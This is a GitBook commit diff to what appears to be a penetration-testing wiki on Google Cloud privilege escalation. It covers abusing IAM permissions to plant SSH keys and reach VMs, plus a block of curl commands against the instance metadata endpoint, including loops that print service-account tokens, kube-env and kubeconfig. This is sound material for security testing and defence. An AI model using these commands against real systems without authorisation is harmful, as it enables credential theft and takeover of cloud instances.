GitBook: [#3008] No subject
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@ -497,7 +497,6 @@
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## Cloud Security
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* [GCP Security](cloud-security/gcp-security/README.md)
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* [GCP - Local Privilege Escalation / SSH Pivoting](cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md)
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* [GCP - Other Services Enumeration](cloud-security/gcp-security/gcp-looting.md)
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* [GCP - Abuse GCP Permissions](cloud-security/gcp-security/gcp-interesting-permissions/README.md)
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* [GCP - Privesc to other Principals](cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md)
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@ -509,6 +508,7 @@
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* [GCP - Databases Enumeration](cloud-security/gcp-security/gcp-databases-enumeration.md)
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* [GCP - Serverless Code Exec Services Enumeration](cloud-security/gcp-security/gcp-serverless-code-exec-services-enumeration.md)
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* [GCP - Buckets Enumeration](cloud-security/gcp-security/gcp-buckets-enumeration.md)
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* [GCP - Local Privilege Escalation / SSH Pivoting](cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md)
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* [Github Security](cloud-security/github-security/README.md)
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* [Basic Github Information](cloud-security/github-security/basic-github-information.md)
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* [Kubernetes Security](pentesting/pentesting-kubernetes/README.md)
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@ -154,6 +154,38 @@ For a more in-depth explanation visit [https://rhinosecuritylabs.com/gcp/iam-pri
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**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
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## compute
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### compute.projects.setCommonInstanceMetadata
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With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
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Limitations:
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* Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
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* You will need to be **able to contact the SSH** server to login
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For more information about how to exploit this permission check:
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{% content-ref url="../gcp-local-privilege-escalation-ssh-pivoting.md" %}
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[gcp-local-privilege-escalation-ssh-pivoting.md](../gcp-local-privilege-escalation-ssh-pivoting.md)
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{% endcontent-ref %}
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### compute.instances.setMetadata
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This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations applies**.
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### compute.instances.setIamPolicy
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This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them.
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### **compute.instances.osLogin**
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If OSLogin is enabled in the instance, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You won't have root privs inside the instance.
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### **compute.instances.osAdminLogin**
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If OSLogin is enabled in the instance, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have root privs inside the instance.
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## container
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### container.clusters.get
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@ -48,8 +48,6 @@ Although Google [recommends](https://cloud.google.com/compute/docs/access/servic
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* `https://www.googleapis.com/auth/compute`
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* `https://www.googleapis.com/auth/cloud-platfo`rm
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## **Add SSH keys** 
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### **Add SSH keys to custom metadata**
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**Linux** **systems** on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which **periodically** **queries** the instance metadata endpoint for **changes to the authorized SSH public keys**.
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@ -149,26 +147,7 @@ gcloud compute ssh [INSTANCE NAME]
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This will **generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group**, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.
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## **Using OS Login**
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[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a **Google user or service account to a Linux identity**, relying on IAM permissions to grant or deny access to Compute Instances.
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OS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable\_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.
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OS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.
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The following two **IAM permissions control SSH access to instances with OS Login enabled**. They can be applied at the project or instance level:
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* **roles/compute.osLogin** (no sudo)
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* **roles/compute.osAdminLogin** (has sudo)
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Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.
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If your service account has these permissions. **You can simply run the `gcloud compute ssh [INSTANCE]`** command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa\_ssh\_manual). **Two-factor** is **only** enforced when using **user accounts**, so that should not slow you down even if it is assigned as shown above.
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Similar to using SSH keys from metadata, you can use this strategy to **escalate privileges locally and/or to access other Compute Instances** on the network.
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## SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
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### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
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Following the details mentioned in the previous section you can try to compromise more VMs.
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@ -180,6 +159,25 @@ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
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If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.
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## **Using OS Login**
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****[**OS Login**](https://cloud.google.com/compute/docs/oslogin/) **** is an alternative to managing SSH keys. It links a **Google user or service account to a Linux identity**, relying on IAM permissions to grant or deny access to Compute Instances.
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OS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable\_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.
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OS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.
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The following two **IAM permissions control SSH access to instances with OS Login enabled**. They can be applied at the project or instance level:
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* **compute.instances.osLogin** (no sudo)
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* **compute.instances.osAdminLogin** (has sudo)
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Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.
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If your service account has these permissions. **You can simply run the `gcloud compute ssh [INSTANCE]`** command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa\_ssh\_manual). **Two-factor** is **only** enforced when using **user accounts**, so that should not slow you down even if it is assigned as shown above.
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Similar to using SSH keys from metadata, you can use this strategy to **escalate privileges locally and/or to access other Compute Instances** on the network.
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## Search for Keys in the filesystem
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It's quite possible that **other users on the same box have been running `gcloud`** commands using an account more powerful than your own. You'll **need local root** to do this.
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@ -92,21 +92,81 @@ Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACC
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### SSRF URL for Google Cloud <a href="#6440" id="6440"></a>
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Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”
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Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" and you can access the metadata endpoint in with the following URLs:
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```
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http://169.254.169.254/computeMetadata/v1/
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http://metadata.google.internal/computeMetadata/v1/
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http://metadata/computeMetadata/v1/
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http://metadata.google.internal/computeMetadata/v1/instance/hostname
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http://metadata.google.internal/computeMetadata/v1/instance/id
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http://metadata.google.internal/computeMetadata/v1/project/project-id
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```
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* http://169.254.169.254
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* http://metadata.google.internal
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* http://metadata
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Google allows recursive pulls
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Interesting endpoints to extract information:
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```
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http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
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```bash
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# /project
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## Project name and number
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
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## Project attributes
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curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
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# /oslogin
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## users
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/users
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## groups
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/groups
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## security-keys
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/security-keys
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## authorize
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/authorize
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# /instance
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## Description
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
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## Hostname
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
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## ID
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
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## Image
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
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## Machine Type
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curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/machine-type
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## Name
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curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/name
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## Tags
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/scheduling/tags
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## Zone
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/zone
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## Network Interfaces
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for iface in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
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echo " IP: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
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echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
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echo " Gateway: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
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echo " DNS: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
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echo " Network: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
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echo " ============== "
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done
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## Service Accounts
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for sa in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
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echo " Name: $sa"
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echo " Email: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/email")
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echo " Aliases: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/aliases")
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echo " Identity: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/identity")
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echo " Scopes: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/scopes")
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echo " Token: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/token")
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echo " ============== "
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done
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## K8s Attributtes
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### Cluster location
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
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### Cluster name
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
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### Os-login enabled
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
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### Kube-env
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-env
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### Kube-labels
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
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### Kubeconfig
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curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
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```
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Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
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@ -116,12 +176,6 @@ http://metadata.google.internal/computeMetadata/v1beta1/
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http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
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```
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Interesting files to pull out:
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* SSH Public Key : [`http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json)
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* Get Access Token : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`](http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token)
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* Kubernetes Key : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json)
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### Add an SSH key <a href="#3e24" id="3e24"></a>
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Extract the token
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